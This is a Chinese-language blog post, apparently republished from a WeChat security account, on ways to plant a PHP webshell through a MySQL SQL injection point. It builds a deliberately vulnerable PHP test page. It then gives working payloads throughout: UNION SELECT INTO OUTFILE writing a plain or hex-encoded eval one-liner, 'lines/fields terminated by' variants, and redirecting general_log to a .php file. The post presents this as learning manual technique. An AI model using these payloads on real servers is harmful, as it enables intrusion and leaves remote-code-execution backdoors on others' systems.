前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MySQL注入点写入WebShell的几种方式

MySQL注入点写入WebShell的几种方式

作者头像
Bypass
发布2020-04-26 13:10:10
1.3K0
发布2020-04-26 13:10:10
举报
文章被收录于专栏:BypassBypass

在工具化日益成熟的今天,手工注入的能力越来越被忽视了。当你掌握了一款工具的使用时,应更深入的去了解工具帮你做了什么,把工具所产生的影响控制在自己可控的范围内。

比如:当面对一个MySQL注入点,通过使用SQLmap--os-shell命令选项,便可轻松一键获取Webshell,但是非正常退出时,便会在网站目录中存留SQLmap临时上传的Webshell文件。

一个MySQL注入点写入Webshell,需要满足哪些条件呢?简单来说,需要了解secure_file_priv是否支持数据导出、还有当前数据库用户权限,当然,root用户数据库的全部权限,但写入Webshell 并不需要一定是root用户。

接下来,本文将通过构造一个注入点,分享几种Webshell写入的技巧。


0x01 构造一个注入点

1、在默认数据库test中创建测试表admin和测试数据,新建test用户授予FILE权限。

代码语言:javascript
复制
create user 'test'@'localhost' identified by '123456';grant file on *.* to 'test'@'localhost';

2、使用test用户连接数据库。

代码语言:javascript
复制
<?php$con = mysql_connect("localhost","test","123456");mysql_select_db("test", $con);$id = $_REQUEST[ 'id' ];$query  = "SELECT * FROM test.admin WHERE id = $id ";$result = mysql_query($query);......

0x02 写入WebShell的几种方式

1、利用Union select 写入

这是最常见的写入方式,unionselect into outfile,将一句话写入evil.php,仅适用于联合注入。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

代码语言:javascript
复制
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符写入

Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP--os-shell命令,所采用的就是一下这种方式。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

代码语言:javascript
复制
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

同样的技巧,一共有四种形式:

代码语言:javascript
复制
?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQLlog文件来获取Webshell

具体权限要求:数据库用户需具备SuperFile服务器权限、获取物理路径。

代码语言:javascript
复制
show variables like '%general%';             #查看配置set global general_log = on;                 #开启general log模式set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址select '<?php eval($_GET[g]);?>'             #写入shellset global general_log=off;                  #关闭general log模式
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Bypass 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档